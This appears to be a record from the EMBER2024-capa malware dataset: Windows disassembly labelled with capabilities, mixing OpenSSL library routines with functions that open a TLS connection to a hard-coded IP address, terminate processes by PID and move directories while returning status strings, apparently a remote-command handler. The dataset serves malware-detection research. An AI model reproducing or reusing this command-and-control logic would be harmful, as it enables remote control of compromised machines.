joyce8/EMBER2024-capa huggingface dataset:
Function at 0x450570
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x647f80]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, edx
push esi
mov esi, ecx
mov eax, ebx
push edi
cmp dword [ebx + 0x14], 0xf
mov edi, dword [ebp + 8]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x28], esi
jbe 0x45059a
mov eax, dword [ebx]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4505bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4505bd
push 0x1f
push str.source_directory_does_not_exist
jmp 0x450656
cmp dword [edi + 0x14], 0xf
mov eax, edi
jbe 0x4505c7
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4505f1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4505f1
cmp dword [edi + 0x14], 0xf
mov eax, edi
jbe 0x4505e8
mov eax, dword [edi]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [ebx + 0x14], 0xf
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 1
jbe 0x450607
mov ebx, dword [ebx]
cmp dword [edi + 0x14], 0xf
mov dword [ebp - 0x1c], ebx
jbe 0x450612
mov edi, dword [edi]
mov eax, 0x614
mov dword [ebp - 0x18], edi
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x12], 0
mov dword [ebp - 0xe], 0
mov dword [ebp - 0xa], 0
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
test eax, eax
je 0x45064f
cmp eax, 0x76
je 0x45064f
push 0x15
push str.move_directory_failed
jmp 0x450656
push 0x1c
push str.OK:move_directory_successful
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00454080
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0059e4d3
mov esp, ebp
pop ebp
ret
Function at 0x455830
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [0x647f80]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x45589c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push ecx
mov edx, str.Error_creating_socket:
mov ecx, 0x648fd0
call fcn.00453850
add esp, 4
mov ecx, eax
call fcn.004585d0
mov edx, 0x63f584
mov ecx, eax
call fcn.00453850
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0059e4d3
mov esp, ebp
pop ebp
ret
push 8
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x3c
push eax
push 0x1005
push 0xffff
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, 2
push str.47.108.235.142
mov word [esp + 0x18], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push str.443
mov dword [esp + 0x1c], eax
call fcn.005a9fe6
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
lea eax, [esp + 0x14]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x455950
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push ecx
mov edx, str.Connection_failed:
mov ecx, 0x648fd0
call fcn.00453850
add esp, 4
mov ecx, eax
call fcn.004585d0
mov edx, 0x63f584
mov ecx, eax
call fcn.00453850
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0059e4d3
mov esp, ebp
pop ebp
ret
push edi
call fcn.0045d3e0
mov edi, eax
add esp, 4
test edi, edi
jne 0x455988
mov edx, str.Error_creating_SSL_object._n
mov ecx, 0x648fd0
call fcn.00453850
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0059e4d3
mov esp, ebp
pop ebp
ret
push esi
push edi
call fcn.0045dc90
push edi
call fcn.0045c750
add esp, 0xc
mov ecx, 0x648fd0
test eax, eax
jg 0x4559ce
mov edx, str.SSL_connect_failed._n
call fcn.00453850
push edi
call fcn.0045cbc0
add esp, 4
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0059e4d3
mov esp, ebp
pop ebp
ret
mov edx, str.Connected_to_proxy._n
call fcn.00453850
mov ecx, dword [esp + 0x24]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.0059e4d3
mov esp, ebp
pop ebp
ret
Function at 0x459390
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x647f80]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov dword [ebp - 0xc], edi
mov dword [ebp - 0xc], edi
call fcn.005aa0c2
cmp dword [esi + 0x14], 0xf
mov ebx, esi
mov dword [ebp - 0xc], eax
jbe 0x4593bf
mov ebx, dword [esi]
mov dword [eax], 0
lea eax, [ebp - 8]
push 0xa
push eax
push ebx
call fcn.005aa0d5
add esp, 0xc
mov ecx, eax
cmp ebx, dword [ebp - 8]
je 0x45949c
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0x22
je 0x4594a6
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x45945e
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
test eax, eax
je 0x459436
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi + 0x10]
mov eax, closesocket
sub eax, ecx
cmp eax, 0x2e
jb 0x4594b0
cmp dword [esi + 0x14], 0xf
jbe 0x45942b
mov esi, dword [esi]
push ecx
push esi
push 0x2e
push str.ok:Successfully_terminated_process_with_PID_:
jmp 0x45947e
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi + 0x10]
mov eax, closesocket
sub eax, ecx
cmp eax, 0x26
jb 0x4594b0
cmp dword [esi + 0x14], 0xf
jbe 0x459453
mov esi, dword [esi]
push ecx
push esi
push 0x26
push str.Failed_to_terminate_process_with_PID:
jmp 0x45947e
mov ecx, dword [esi + 0x10]
mov eax, closesocket
sub eax, ecx
cmp eax, 0x21
jb 0x4594b0
cmp dword [esi + 0x14], 0xf
jbe 0x459475
mov esi, dword [esi]
push ecx
push esi
push 0x21
push str.Failed_to_open_process_with_PID:
push ecx
push dword [ebp - 0xc]
mov ecx, edi
call fcn.00455400
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0059e4d3
mov esp, ebp
pop ebp
ret
push str.invalid_stoi_argument
call fcn.004599b2
push str.stoi_argument_out_of_range
call fcn.004599f2
call fcn.0044c0d0
int3
Function at 0x45aac9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x45aaea
jl 0x45aae1
test edi, edi
jne 0x45aaea
xor eax, eax
xor edx, edx
jmp 0x45abab
cmp dword [ebx + 0x38], 0
je 0x45aaff
push eax
push edi
push dword [ebp + 8]
call fcn.0045abb1
jmp 0x45abab
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x45ab46
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x45ab46
cmp eax, edi
jb 0x45ab20
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0059fdf0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x45ab4c
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x45aba0
mov ecx, ebx
call fcn.0045a314
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x45ab8b
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.005aac8b
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x45aba0
jmp 0x45ab5e
test edx, edx
je 0x45aba0
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.005aac8b
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x4880b0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 8
call fcn.0059eec0
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x20]
push edi
mov eax, dword [ebx + 4]
inc esi
mov edi, dword [esp + 0x1c]
mov eax, dword [eax + 0x64]
mov ecx, dword [edi + 8]
test byte [eax + 0x30], 1
je 0x488136
mov edx, dword [esp + 0x20]
lea eax, [esi + edx]
cmp eax, ecx
ja 0x48813a
add dword [edi + 0x14], edx
sub ecx, edx
add dword [edi + 0x18], edx
sub dword [edi + 0xc], edx
mov dword [edi + 8], ecx
mov eax, dword [edi + 0x14]
push ebp
push dword [ebx + 0x724]
mov al, byte [eax + ecx - 1]
movzx ebp, al
mov byte [esp + 0x2c], al
mov dword [esp + 0x20], ebp
call fcn.0045ded0
push eax
call fcn.00497710
mov edx, dword [edi + 8]
add esp, 8
test eax, 0x200000
je 0x488143
sub edx, ebp
mov eax, 1
pop ebp
dec edx
mov dword [edi + 8], edx
pop edi
pop esi
pop ebx
add esp, 8
ret
cmp esi, ecx
jbe 0x4880f2
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret
lea ecx, [esi + ebp]
mov ebx, edx
sub ebx, ecx
mov eax, edx
xor ebx, ecx
xor eax, ecx
or ebx, eax
mov eax, pe_nt_image_headers32
xor ebx, edx
shr ebx, 0x1f
dec ebx
cmp edx, eax
cmovb eax, edx
xor esi, esi
mov dword [esp + 0x14], eax
test eax, eax
je 0x4881bc
mov eax, ebp
mov ebp, dword [edi + 0x14]
mov edi, dword [esp + 0x1c]
dec ebp
shr eax, 0x1f
add ebp, edx
mov dword [esp + 0x10], eax
nop
mov eax, edi
lea ebp, [ebp - 1]
sub eax, esi
mov ecx, esi
shr ecx, 0x1f
inc esi
shr eax, 0x1f
xor al, cl
xor cl, byte [esp + 0x10]
or al, cl
movzx ecx, byte [ebp + 1]
dec al
movzx edx, al
movzx eax, byte [esp + 0x28]
xor ecx, eax
and edx, ecx
not edx
and ebx, edx
cmp esi, dword [esp + 0x14]
jb 0x488180
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x1c]
not ebx
lea eax, [ebp + 1]
movzx ecx, bl
dec ecx
shr ecx, 0x1f
neg ecx
and eax, ecx
sub dword [edi + 8], eax
mov dword [esp + 0x28], ecx
not ecx
mov eax, dword [esp + 0x28]
pop ebp
pop edi
mov dword [esp + 0x20], ecx
and eax, 1
mov ecx, dword [esp + 0x20]
or eax, ecx
pop esi
pop ebx
add esp, 8
ret
Function at 0x4995e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
xor edx, edx
test esi, esi
je 0x499626
mov al, byte [esi]
test al, al
je 0x499626
push edi
mov edi, pe_nt_image_headers32
movsx eax, al
lea esi, [esi + 1]
or eax, edi
add edi, 0x100
mov ecx, eax
shr ecx, 2
xor cl, al
imul eax, eax
and cl, 0xf
rol edx, cl
xor edx, eax
mov al, byte [esi]
test al, al
jne 0x4995f7
mov eax, edx
pop edi
shr eax, 0x10
xor eax, edx
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x4b35e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10
call fcn.0059eec0
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, dword [esp + 0x30]
mov esi, dword [esi + 0x60]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x70]
test ecx, ecx
je 0x4b364a
test edi, edi
je 0x4b362a
lea edx, [esi + 0x30]
add edx, ecx
cmp ecx, 0x40
jae 0x4b362a
mov al, byte [edx]
inc ecx
xor al, byte [ebx]
inc edx
mov byte [ebp], al
inc ebx
inc ebp
sub edi, 1
jne 0x4b3615
mov dword [esi + 0x70], ecx
test edi, edi
je 0x4b3704
cmp ecx, 0x40
jne 0x4b364a
mov dword [esi + 0x70], 0
add dword [esi + 0x20], 1
jne 0x4b364a
inc dword [esi + 0x24]
mov edx, dword [esi + 0x20]
lea ecx, [esi + 0x20]
mov eax, edi
mov dword [esp + 0x10], ecx
and eax, 0x3f
sub edi, eax
mov dword [esp + 0x24], eax
cmp edi, 0x40
jb 0x4b36bc
push dword [esp + 0x10]
mov ecx, edi
xor esi, esi
shr ecx, 6
lea eax, [ecx + edx]
cmp eax, ecx
cmovae esi, eax
neg edx
cmp eax, ecx
mov dword [esp + 0x20], esi
mov esi, dword [esp + 0x18]
cmovae edx, ecx
shl edx, 6
push esi
push edx
push ebx
push ebp
mov dword [esp + 0x2c], edx
call fcn.0040d440
mov eax, dword [esp + 0x2c]
add esp, 0x14
sub edi, eax
add ebx, eax
add ebp, eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 0x20], eax
test eax, eax
jne 0x4b36b1
inc dword [esi + 0x24]
mov edx, eax
cmp edi, 0x40
jae 0x4b3664
mov eax, dword [esp + 0x24]
test eax, eax
je 0x4b3704
push 0x40
lea edi, [esi + 0x30]
push 0
push edi
call fcn.005a0390
lea eax, [esi + 0x20]
push eax
push esi
push 0x40
push edi
push edi
call fcn.0040d440
mov edi, dword [esp + 0x44]
add esp, 0x20
xor edx, edx
test edi, edi
je 0x4b3701
sub ebx, ebp
nop word [eax + eax]
mov al, byte [esi + edx + 0x30]
lea ecx, [edx + ebp]
xor al, byte [ebx + ecx]
inc edx
mov byte [ecx], al
cmp edx, edi
jb 0x4b36f0
mov dword [esi + 0x70], edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10
ret
Function at 0x4b4ce0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x10]
cmp ebp, ebx
je 0x4b4e07
mov eax, dword [esp + 0xc]
mov ecx, dword [ebp + 4]
lea edx, [eax - 1]
not eax
shr eax, 0x1f
shr edx, 0x1f
and edx, eax
mov eax, dword [ebx + 4]
xor eax, ecx
dec edx
and eax, edx
mov dword [esp + 0x14], edx
xor ecx, eax
mov dword [ebp + 4], ecx
xor dword [ebx + 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebx + 0xc]
xor eax, ecx
movd xmm0, edx
and eax, edx
pshufd xmm4, xmm0, 0
xor ecx, eax
mov dword [ebp + 0xc], ecx
xor dword [ebx + 0xc], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebx + 0x10]
xor eax, ecx
and eax, edx
and eax, 4
xor ecx, eax
mov dword [ebp + 0x10], ecx
xor dword [ebx + 0x10], eax
xor eax, eax
mov ecx, dword [esp + 0x18]
test ecx, ecx
jle 0x4b4e07
push esi
push edi
cmp ecx, 4
jb 0x4b4de1
mov edx, dword [ebp]
lea edi, [ecx - 1]
mov esi, dword [ebx]
lea ebp, [ecx - 1]
lea ebp, [edx + ebp*4]
cmp esi, ebp
lea edi, [esi + edi*4]
mov ebp, dword [esp + 0x18]
ja 0x4b4d80
cmp edi, edx
jae 0x4b4de1
cmp esi, ebx
ja 0x4b4d88
cmp edi, ebx
jae 0x4b4de1
cmp esi, ebp
ja 0x4b4d90
cmp edi, ebp
jae 0x4b4de1
lea edi, [ecx - 1]
lea edi, [edx + edi*4]
cmp edx, ebx
ja 0x4b4d9e
cmp edi, ebx
jae 0x4b4de1
cmp edx, ebp
ja 0x4b4da6
cmp edi, ebp
jae 0x4b4de1
mov edi, ecx
and edi, 0xfffffffc
nop dword [eax + eax]
movups xmm3, xmmword [esi + eax*4]
movups xmm2, xmmword [edx + eax*4]
movaps xmm1, xmm3
xorps xmm1, xmm2
andps xmm1, xmm4
movaps xmm0, xmm1
xorps xmm1, xmm3
xorps xmm0, xmm2
movups xmmword [edx + eax*4], xmm0
movups xmmword [esi + eax*4], xmm1
add eax, 4
cmp eax, edi
jl 0x4b4db0
mov dword [esp + 0x18], eax
cmp eax, ecx
jge 0x4b4e05
mov ecx, dword [ebp]
mov edx, dword [ecx + eax*4]
lea esi, [ecx + eax*4]
mov ecx, dword [ebx]
mov edi, dword [ecx + eax*4]
xor edi, edx
and edi, dword [esp + 0x1c]
xor edx, edi
mov dword [esi], edx
mov ecx, dword [ebx]
xor dword [ecx + eax*4], edi
inc eax
cmp eax, dword [esp + 0x20]
jl 0x4b4de1
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4bb290
Capabilities:
Check if file exists

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
push edi
push dword [esp + 0x14]
call fcn.0050e470
push 0x62
push edi
mov ebx, eax
call fcn.005a1c30
add esp, 0x10
neg eax
sbb esi, esi
and esi, 0xfffffff0
add esi, 0x11
test ebx, ebx
jne 0x4bb340
call fcn.00499720
push str.BIO_new_file
push 0x45
push str.crypto_bio_bss_file.c
call fcn.004997d0
add esp, 0xc
push edi
push dword [esp + 0x14]
push str.calling_fopen__s___s_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 2
call fcn.00499810
add esp, 0x14
call fcn.005aa0c2
cmp dword [eax], 2
je 0x4bb310
call fcn.005aa0c2
cmp dword [eax], 6
je 0x4bb310
lea esi, [ebx + 2]
lea edi, [ebx + 0x4f]
jmp 0x4bb318
mov esi, 0x80
lea edi, [esi - 0x33]
call fcn.00499720
push str.BIO_new_file
push edi
push str.crypto_bio_bss_file.c
call fcn.004997d0
push 0
push esi
push 0x20
call fcn.00499810
add esp, 0x18
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0x5f1750
call fcn.00497b20
mov edi, eax
add esp, 4
test edi, edi
jne 0x4bb362
push ebx
call fcn.005aa3cf
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0
push edi
call fcn.00497410
push ebx
push esi
push 0x6a
push edi
call fcn.00497440
add esp, 0x18
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x4d15a0
Capabilities:
Resolve dns

Disassembly:
mov eax, 0x20
call fcn.0059eec0
push ebx
push esi
mov esi, dword [esp + 0x38]
xor ebx, ebx
mov eax, esi
sub eax, ebx
je 0x4d15f3
sub eax, 2
je 0x4d15f3
sub eax, 0x15
je 0x4d15f3
call fcn.00499720
push str.BIO_lookup_ex
push 0x294
push str.crypto_bio_b_addr.c
call fcn.004997d0
push ebx
push 0x83
push 0x20
call fcn.00499810
add esp, 0x18
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret
call fcn.004dd510
cmp eax, 1
jne 0x4d15eb
mov eax, dword [esp + 0x3c]
xor ecx, ecx
push ebp
push edi
xorps xmm0, xmm0
mov dword [esp + 0x10], ecx
xor edi, edi
movlpd qword [esp + 0x20], xmm0
movlpd qword [esp + 0x28], xmm0
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
test esi, esi
jne 0x4d1634
or ecx, 0x400
mov dword [esp + 0x10], ecx
cmp dword [esp + 0x3c], 1
jne 0x4d1642
or ecx, 1
mov dword [esp + 0x10], ecx
mov ebp, dword [esp + 0x48]
lea eax, [esp + 0x10]
push ebp
push eax
push dword [esp + 0x40]
push dword [esp + 0x40]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov esi, eax
test esi, esi
je 0x4d169e
cmp esi, 8
je 0x4d16f1
mov ecx, dword [esp + 0x10]
test ecx, 0x400
je 0x4d16ad
push ebp
lea eax, [esp + 0x14]
and ecx, 0xfffffbff
push eax
push dword [esp + 0x40]
or ecx, 4
mov edi, esi
push dword [esp + 0x40]
mov dword [esp + 0x20], ecx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov esi, eax
test esi, esi
jne 0x4d1660
pop edi
pop ebp
mov ebx, 1
pop esi
mov eax, ebx
pop ebx
add esp, 0x20
ret
call fcn.00499720
push str.BIO_lookup_ex
push 0x2d8
push str.crypto_bio_b_addr.c
call fcn.004997d0
push 0
push 2
push 0x20
call fcn.00499810
test edi, edi
cmovne esi, edi
push esi
call fcn.004d1b90
push eax
push 1
call fcn.00499b70
add esp, 0x24
mov eax, ebx
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x20
ret
call fcn.00499720
push str.BIO_lookup_ex
push 0x2c9
push str.crypto_bio_b_addr.c
call fcn.004997d0
push 0
push 0x41
push 0x20
call fcn.00499810
add esp, 0x18
mov eax, ebx
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x20
ret
Function at 0x4d1940
Capabilities:
Resolve dns

Disassembly:
mov eax, 0x428
call fcn.0059eec0
mov eax, dword [0x647f80]
xor eax, esp
mov dword [esp + 0x424], eax
push ebx
mov ebx, dword [esp + 0x430]
push esi
mov esi, dword [esp + 0x440]
push edi
mov edi, dword [esp + 0x440]
call fcn.004dd510
cmp eax, 1
je 0x4d1994
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x424]
xor ecx, esp
call fcn.0059e4d3
add esp, 0x428
ret
push ebp
push 0x400
lea eax, [esp + 0x35]
mov byte [esp + 0x34], 0
push 0
push eax
call fcn.005a0390
mov edx, dword [esp + 0x44c]
lea eax, [esp + 0x1c]
add esp, 0xc
mov byte [esp + 0x10], 0
neg edx
mov dword [esp + 0x29], 0
mov ebp, 0x10
mov word [esp + 0x2d], 0
sbb edx, edx
mov byte [esp + 0x2f], 0
and edx, 0xa
mov ecx, 0x1c
cmp word [ebx], 2
xorps xmm0, xmm0
push edx
push 0x20
push eax
push 0x401
lea eax, [esp + 0x40]
movq qword [esp + 0x31], xmm0
push eax
cmove ecx, ebp
push ecx
push ebx
movups xmmword [esp + 0x2d], xmm0
call dword [sym.imp.WS2_32.dll_getnameinfo]
mov ebp, eax
test ebp, ebp
je 0x4d1a70
call fcn.00499720
push str.addr_strings
push 0xd8
push str.crypto_bio_b_addr.c
call fcn.004997d0
push 0
push 2
push 0x20
call fcn.00499810
add esp, 0x18
push 0
push 0x400
push 0x64d240
push 0x400
push ebp
push 0
push 0x12ff
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0x64d240
push 1
call fcn.00499b70
add esp, 8
xor eax, eax
jmp 0x4d1b69
cmp byte [esp + 0x10], 0
jne 0x4d1ab1
movzx eax, word [ebx]
cmp eax, 2
jne 0x4d1a85
movzx eax, word [ebx + 2]
jmp 0x4d1a92
cmp eax, 0x17
jne 0x4d1a90
movzx eax, word [ebx + 2]
jmp 0x4d1a92
xor eax, eax
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
push eax
push 0x5cdd88
lea eax, [esp + 0x18]
push 0x20
push eax
call fcn.004b8890
add esp, 0x10
test edi, edi
je 0x4d1ace
push 0xea
lea eax, [esp + 0x34]
push str.crypto_bio_b_addr.c
push eax
call fcn.00496820
add esp, 0xc
mov dword [edi], eax
test esi, esi
je 0x4d1aeb
push 0xec
lea eax, [esp + 0x14]
push str.crypto_bio_b_addr.c
push eax
call fcn.00496820
add esp, 0xc
mov dword [esi], eax
test edi, edi
je 0x4d1af4
cmp dword [edi], 0
je 0x4d1b01
test esi, esi
je 0x4d1b64
cmp dword [esi], 0
jne 0x4d1b64
test edi, edi
je 0x4d1b1f
push 0xfb
push str.crypto_bio_b_addr.c
push dword [edi]
call fcn.00496500
add esp, 0xc
mov dword [edi], 0
test esi, esi
je 0x4d1b39
push 0xff
push str.crypto_bio_b_addr.c
push dword [esi]
call fcn.00496500
add esp, 0xc
mov dword [esi], 0
call fcn.00499720
push str.addr_strings
push 0x102
push str.crypto_bio_b_addr.c
call fcn.004997d0
push 0
push 0x41
push 0x20
call fcn.00499810
add esp, 0x18
xor eax, eax
jmp 0x4d1b69
mov eax, 1
mov ecx, dword [esp + 0x434]
pop ebp
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0059e4d3
add esp, 0x428
ret
Function at 0x4d4130
Capabilities:
Hash data using sha1

Disassembly:
mov eax, 0x40
call fcn.0059eec0
mov eax, dword [0x647f80]
xor eax, esp
mov dword [esp + 0x3c], eax
cmp dword [esp + 0x48], 0x1d
push esi
mov esi, dword [esp + 0x48]
push edi
mov edi, dword [esp + 0x58]
je 0x4d416c
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.0059e4d3
add esp, 0x40
ret
test esi, esi
je 0x4d427b
cmp dword [esp + 0x54], 0x30
jne 0x4d427b
push 0x30
push edi
push esi
call fcn.004d4030
add esp, 0xc
test eax, eax
jle 0x4d427b
movaps xmm0, xmmword [str.6666666666666666jjjjjjjjjjjjjjjjSRTP_AES128_CM_SHA1_80]
lea eax, [esp + 8]
push 0x28
push eax
push esi
movups xmmword [esp + 0x14], xmm0
movups xmmword [esp + 0x24], xmm0
movq qword [esp + 0x34], xmm0
call fcn.004d4030
add esp, 0xc
test eax, eax
je 0x4d427b
lea eax, [esp + 0x30]
push esi
push eax
call fcn.004d3e90
add esp, 8
test eax, eax
je 0x4d427b
push 0x4c
lea eax, [esi + 0x14]
push 0
push eax
call fcn.005a0390
push 0x30
push edi
push esi
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
mov dword [esi + 0x10], 0xc3d2e1f0
call fcn.004d4030
add esp, 0x18
test eax, eax
jle 0x4d427b
movaps xmm0, xmmword [str.EC_GROUP_new_ex]
lea eax, [esp + 8]
push 0x28
push eax
push esi
movups xmmword [esp + 0x14], xmm0
movups xmmword [esp + 0x24], xmm0
movq qword [esp + 0x34], xmm0
call fcn.004d4030
add esp, 0xc
test eax, eax
je 0x4d427b
push 0x14
lea eax, [esp + 0x34]
push eax
push esi
call fcn.004d4030
add esp, 0xc
test eax, eax
je 0x4d427b
lea eax, [esp + 0x30]
push 0x14
push eax
call fcn.00401320
add esp, 8
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.0059e4d3
add esp, 0x40
ret
mov ecx, dword [esp + 0x44]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0059e4d3
add esp, 0x40
ret
Function at 0x4dd510
Capabilities:
Initialize winsock library

Disassembly:
cmp dword [0x64bc60], 0
jne 0x4dd5a9
push 0x190
push 0
push 0x64bc68
mov dword [0x64bc60], 1
call fcn.005a0390
add esp, 0xc
push 0x64bc68
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4dd5a9
call fcn.00499720
push str.BIO_sock_init
push 0x8a
push str.crypto_bio_b_sock.c
call fcn.004997d0
add esp, 0xc
push str.calling_wsastartup__
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 2
call fcn.00499810
call fcn.00499720
push str.BIO_sock_init
push 0x8c
push str.crypto_bio_b_sock.c
call fcn.004997d0
push 0
push 0x7a
push 0x20
call fcn.00499810
add esp, 0x24
or eax, 0xffffffff
ret
mov eax, 1
ret

Function at 0x4dd5b0
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 8]
push esi
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 0x8004667e
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
test esi, esi
jns 0x4dd605
call fcn.00499720
push str.BIO_socket_ioctl
push 0xc7
push str.crypto_bio_b_sock.c
call fcn.004997d0
add esp, 0xc
push str.calling_ioctlsocket__
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 2
call fcn.00499810
add esp, 0xc
xor eax, eax
test esi, esi
pop esi
sete al
ret